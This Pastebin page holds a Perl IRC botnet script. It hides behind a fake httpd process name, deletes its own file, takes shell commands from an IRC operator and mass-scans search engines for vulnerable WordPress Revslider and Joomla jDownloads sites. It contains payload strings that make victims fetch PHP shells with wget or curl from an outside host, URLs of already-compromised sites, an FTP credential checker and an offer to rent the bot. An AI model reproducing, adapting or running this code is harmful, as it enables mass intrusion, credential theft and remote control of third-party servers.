Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use HTTP::Request;
- use HTTP::Request::Common;
- use HTTP::Request::Common qw(POST);
- use LWP::Simple;
- use LWP 5.64;
- use LWP::UserAgent;
- use Socket;
- use IO::Socket;
- use IO::Socket::INET;
- use IO::Select;
- use MIME::Base64;
- use URI::Escape;
- use Digest::MD5 qw(md5_hex);
- #use DBI;
- my $number = int( rand(9) );
- my $datetime = localtime;
- my $fakeproc = "/usr/sbin/httpd";
- my $ircserver = "thulcandra.otherworlders.org";
- my $ircport = "6667";
- my $nickname = "fagdon";
- my $ident = "zoot";
- my $channel = "#tag";
- my $chanxxx = "#flash";
- my $admin = "fagdon";
- my $fullname = "4,1o8w14n11:D";
- my $rawmsg = $ARGV[4];
- my $msgraw = $ARGV[5];
- my $nob0dy = "4,1Revolt8OWN14PRIVATE112015";
- my $revlogo = "4,1[8+4]11Revslider 4<9=4>9";
- my $jomlogo = "4,1[8+4]11jDownloads 4<9=4>9";
- my $revcmd = "!re";
- my $jomcmd = "!jo";
- my $timot = 10;
- my $zip = "revslider.zip";
- my $upl = "$zip";
- my $ngilang = "rm -rf";
- qx($ngilang $0);
- my $silentmode = 1;
- my $rceinjector = "http://tmt-g.point.bg/wp-content/plugins/akismet/rce.php";
- my $rceinjector2 = "http://pctechcare.co.uk/wp-includes/js/thickbox/rce.php";
- #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php";
- #my $hostinjector = "wordpress.com.longlifeweld.com.my";
- my $thumbid = "http://".$hostinjector."/petx.php";
- my $thumbidx = "http://".$hostinjector."/cpx.php";
- my $md5php = md5_hex($thumbid).".php";
- my $md5cps = md5_hex($thumbidx).".php";
- my $timid = uri_escape($thumbid);
- my $timidx = uri_escape($thumbidx);
- my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic1.php";
- my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
- my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
- my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
- sub randomagent {
- my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
- 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
- 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
- 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
- );
- my $random = $array[rand @array];
- return($random);
- }
- my $useragent = randomagent();
- my $jpath = "?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
- my $jpath1 = "https%253A%252F%252Fwww.google.com%252Fsearch?q=";
- my $jack1 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
- my $jack2 = "http://www.tphschool.ac.th/images/4nt-crew2.php?q=";
- my $jack3 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
- my $jack4 = "http://www.dingzhihunsha.cn/4nt-crew4.php?q=";
- my $jack5 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
- my $jack6 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
- my $jack7 = "http://brainstormers.eu/wp-admin/4nt-crew7.php?q=";
- my $jack8 = "http://www.tphschool.ac.th/images/4nt-crew2.php?q=";
- my $jack9 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
- my $jack10 = "http://utopiggz.nl/wp-admin/4nt-crew10.php?q=";
- my $engine = "GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,GooGLe,Yahoo2,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,webcrawler,clusty,witch,amidalla,gibla,mywebsearch,dogpile,infocom,searchcom,teoma,volunia,becak,bokep,searchnz";
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- #chdir("/tmp");
- #chop (my $priper = `wget http://192.165.67.149/tests/revslider.zip;killall -9 sh;history -c`);
- $ircserver = "$ARGV[0]" if $ARGV[0];
- $ircport = "$ARGV[1]" if $ARGV[1];
- $nickname = "$ARGV[2]" if $ARGV[2];
- $channel = '#'."$ARGV[3]" if $ARGV[3];
- $0 = "$fakeproc"."\0" x 16;
- my $pid = fork;
- exit if $pid;
- die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
- our %irc_servers;
- our %DCC;
- my $dcc_sel = new IO::Select->new();
- $sel_client = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- sub connector {
- my $mynick = $_[0];
- my $ircserver_con = $_[1];
- my $ircport_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_client->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
- $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
- nick("$mynick");
- sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
- sleep(1);}}
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- }
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($mynick)) {
- $mynick = $4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- }
- }
- elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
- nick($mynick.int(rand(5)));
- }
- elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
- $mynick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- sendraw("NickServ IDENTIFY petbot");
- sendraw("MODE $mynick +R");
- sendraw("MODE $mynick +Bx");
- sendraw("NS id qwe123");
- sleep(3);
- sendraw("JOIN $channel correct");
- sendraw("JOIN $chanxxx mejen");
- sleep(1);
- sendraw("PRIVMSG $channel :4Connection Successful");
- sendraw("PRIVMSG $admin :Hi $admin im here !!!");
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
- select(undef, undef, undef, 0.01);
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- my @ready = $sel_client->can_read(0);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $ircmsg, 4096);
- if ($nread == 0) {
- $sel_client->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $ircmsg);
- $ircmsg =~ s/\r\n$//;
- if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
- if ($path eq $mynick) {
- if ($msg =~ /^PING (.*)/) {
- sendraw("NOTICE $nick :PING $1");
- }
- if ($msg =~ /^VERSION/) {
- sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
- }
- if ($msg =~ /^TIME/) {
- sendraw("NOTICE $nick :TIME ".$datetime."");
- }
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!killall") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Restarting...");
- }
- if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
- sendraw("NICK ".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
- }
- if (&isAdmin($nick) && $msg !~ /^!/) {
- &shell("$nick","$msg");
- }
- if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
- sendraw("$rawmsg $msgraw ".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
- sendraw("PRIVMSG $rawmsg ".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
- sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
- }
- if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
- $newtimot = $1;
- $timot = $newtimot;
- &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
- }
- if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- $newchan = $1;
- $chanxxx = $newchan;
- &msg("$admin","9,1 xChan change to4 $chanxxx ");
- }}}
- }
- else {
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!killall") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Restarting...");
- }
- if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg eq "!partx") {
- sendraw("PART $path");
- }
- if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
- &shell("$path","$1");
- }
- if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
- &shell("$path","$1");
- }
- if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- $smod = $1;
- if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
- elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
- &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
- }}}
- ##################################################################### HELP COMMAND
- if ($msg=~ /^!help/) {
- &msg("$path","$revlogo Revslider Scan:15 $revcmd 14[dork] ");
- &msg("$path","$jomlogo Jdownloads Scan:15 $jomcmd 14[dork] ");
- &msg("$path","5,1¤4»3[4!3]4«5¤7 ( Auto Get FTP/cPanel + Auto Check FTP/cPanel )");
- &msg("$path","5,1¤4»3[4!3]4«5¤7 Rent this bot 20 PM/3 Days 8Contact ID: $admin ");
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- &msg("$nick","6Fake Process/PID : $fakeproc - $$");
- }
- if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
- $inject1 = "";
- $inject2 = "";
- $inject3 = "";
- $inject4 = "";
- my $cekby1 = &get_content($rceinjector);
- #my $cekby2 = &get_content($thumbid);
- #my $cekby3 = &get_content($arbitrary);
- my $cekby4 = &get_content($rceinjector2);
- if ($cekby1 =~ /roin SHeLL/i){ $inject1 = "9Ready!!!"; } else { $inject1 = "4Lost!!!"; }
- #if ($cekby2 =~ /GIF89a/i){ $inject2 = "9Ready!!!"; } else { $inject2 = "4Lost!!!"; }
- #if ($cekby3 =~ /BArNEr/i){ $inject3 = "9Ready!!!"; } else { $inject3 = "4Lost!!!"; }
- if ($cekby4 =~ /BArNEr/i){ $inject4 = "9Ready!!!"; } else { $inject4 = "4Lost!!!"; }
- #&msg("$path","12Injector Checker");
- &msg("$path","12RCE Injector : $inject1");
- #&msg("$path","12Timthumb Injector : $inject2");
- #&msg("$path","12Arbitrary Injector : $inject3");
- &msg("$path","12RCE Injector2 : $inject4");
- }
- if (&isAdmin($nick) && $msg =~ /^!bypass/){
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";my $bystats6 = "";my $bystats7 = "";
- my $cekby1 = &get_content($jack1."search");
- if ($cekby1 =~ /search/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4lost!!!"; }
- my $cekby2 = &get_content($jack2."search");
- if ($cekby2 =~ /search/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4lost!!!"; }
- my $cekby3 = &get_content($jack3."search");
- if ($cekby3 =~ /search/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4lost!!!"; }
- my $cekby4 = &get_content($jack4."search");
- if ($cekby4 =~ /search/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4lost!!!"; }
- my $cekby5 = &get_content($jack5."search");
- if ($cekby5 =~ /search/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4lost!!!"; }
- my $cekby6 = &get_content($jack6."search");
- if ($cekby6 =~ /search/i){ $bystats6 = "9Up!!!"; } else { $bystats6 = "4lost!!!"; }
- my $cekby7 = &get_content($jack7."search");
- if ($cekby7 =~ /search/i){ $bystats7 = "9Up!!!"; } else { $bystats7 = "4lost!!!"; }
- &msg("$path","9,1[4!9]15ByPass1=$bystats1 15ByPass2=$bystats2 15ByPass3=$bystats3 15ByPass4=$bystats4 15ByPass5=$bystats5 15ByPass6=$bystats6 15ByPass7=$bystats7")
- }}}
- ##################################################################### SCAN
- if ($msg =~ /!cari\s+(.*)/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $find = $1;
- &msg($path,"$carilogo4 Searching 15$find ");
- &cari($path,$find);
- } exit; }
- }
- if ($msg =~ /^$revcmd\s+(.*)/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1);
- my $check = &read_dorks($dork);
- if ($check == 1) {
- &msg("$path","12$nick 4Re-scan detected"); exit;
- } else {
- &msg("$chanxxx","4$nick Scanning on 12$path");
- &msg("$channel","$revlogo 3Search Engine Loading ...");
- sendraw("MODE $path +m");
- &write_dorks($dork);
- &se_start($channel,$bug,$dork,$engine,1,$nick);
- }
- }
- }
- }
- if ($msg =~ /^$jomcmd\s+(.*)/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1);
- &msg("$chanxxx","4,1Lapor3 $nick15,1 lagi scan Joomla di 4$path");
- &msg("$channel","$jomlogo 15Search Engine Loaded..");
- &se_start($channel,$bug,$dork,$engine,2,$nick);
- }
- }
- }
- if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
- my $url = $_[0];
- my $host = $_[1];
- my $user = $_[2];
- my $pass = $_[3];
- if (my $pid = fork) {
- waitpid($pid, 0);
- } else {
- if (fork) { exit; } else {
- my ($host,$user,$pass) = ($1,$2,$3);
- &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
- my $success = 1;
- use Net::FTP;
- my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
- $success = 0 if $ftp->login($user,$pass);
- $ftp->quit;
- if ($success == 0) {
- ¬ice("$nick","15 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
- } else {
- ¬ice("$nick","15 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
- }
- }
- }
- }
- }
- }
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line = $line_temp.$line if ($line_temp);
- $line_temp = '';
- $line =~ s/\r$//;
- unless ($c == $#lines) {
- parse("$line");
- } else {
- if ($#lines == 0) {
- parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- }
- }
- ##################################################################################
- sub petx() {
- my $dork = $_[0];
- my @targets;
- for (my $st=0; $st<=1000 ; $st+=100){
- my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
- my $browser = &search_engine_query($engine);
- while ($browser =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $target = $1;
- if ($target !~ /google|forum|stackoverflow|php\.net/) {
- my @sort = split(/\.php/,$target);
- push (@targets,$sort[0]);
- }
- }
- }
- return @targets;
- }
- sub cari() {
- my $chan = $_[0];
- my $dork = $_[1];
- my $count = 0;
- my @kotor = &petx($dork);
- my @target = &clean(@kotor);
- my $num = scalar(@target); &msg($chan,"$carilogo4 Total 4[15$num4]9 sites");
- if ($num > 0) {
- foreach my $site(@target) {
- $count++;
- if ($count == $num-1) {
- &msg("$chan","$carilogo9Finished 15for 9$dork ");
- }
- my $test = "http://".$site.".php?src=".$thumbshell;
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- my $coba = &get_content($test);
- if ($coba =~ /Unable to open image/) {
- &msg($chan,"$carilogo4 VulN 4-> 15 http://".$site.".php ");
- }
- } exit;
- }
- }
- }
- }
- sub type() {
- my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
- if ($type == 1){$type=&revslider_exploit($chan,$bug,$dork,$engine,$nick);}
- elsif ($type == 2){$type=&jdownload($chan,$bug,$dork,$engine,$nick);}
- }
- ##################################################################################
- sub se_start() {
- my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
- if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type,$nick); } exit; } }
- if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type,$nick); } exit; } }
- if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type,$nick); } exit; } }
- if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type,$nick); } exit; } }
- if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type,$nick); } exit; } }
- if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type,$nick); } exit; } }
- if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type,$nick); } exit; } }
- if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type,$nick); } exit; } }
- if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick); } exit; } }
- if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type,$nick); } exit; } }
- if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type,$nick); } exit; } }
- if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type,$nick); } exit; } }
- if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type,$nick); } exit; } }
- if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type,$nick); } exit; } }
- if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type,$nick); } exit; } }
- if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type,$nick); } exit; } }
- if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type,$nick); } exit; } }
- if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick); } exit; } }
- if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type,$nick); } exit; } }
- if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type,$nick); } exit; } }
- if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type,$nick); } exit; } }
- if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type,$nick); } exit; } }
- if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type,$nick); } exit; } }
- if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type,$nick); } exit; } }
- if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type,$nick); } exit; } }
- if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type,$nick); } exit; } }
- if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type,$nick); } exit; } }
- if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type,$nick); } exit; } }
- if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type,$nick); } exit; } }
- if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type,$nick); } exit; } }
- if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type,$nick); } exit; } }
- if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type,$nick); } exit; } }
- if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type,$nick); } exit; } }
- if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type,$nick); } exit; } }
- if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type,$nick); } exit; } }
- if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type,$nick); } exit; } }
- if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type,$nick); } exit; } }
- if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UK",$type,$nick); } exit; } }
- if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BR",$type,$nick); } exit; } }
- if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RU",$type,$nick); } exit; } }
- if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NET",$type,$nick); } exit; } }
- if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IT",$type,$nick); } exit; } }
- if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COM",$type,$nick); } exit; } }
- if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ORG",$type,$nick); } exit; } }
- if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DE",$type,$nick); } exit; } }
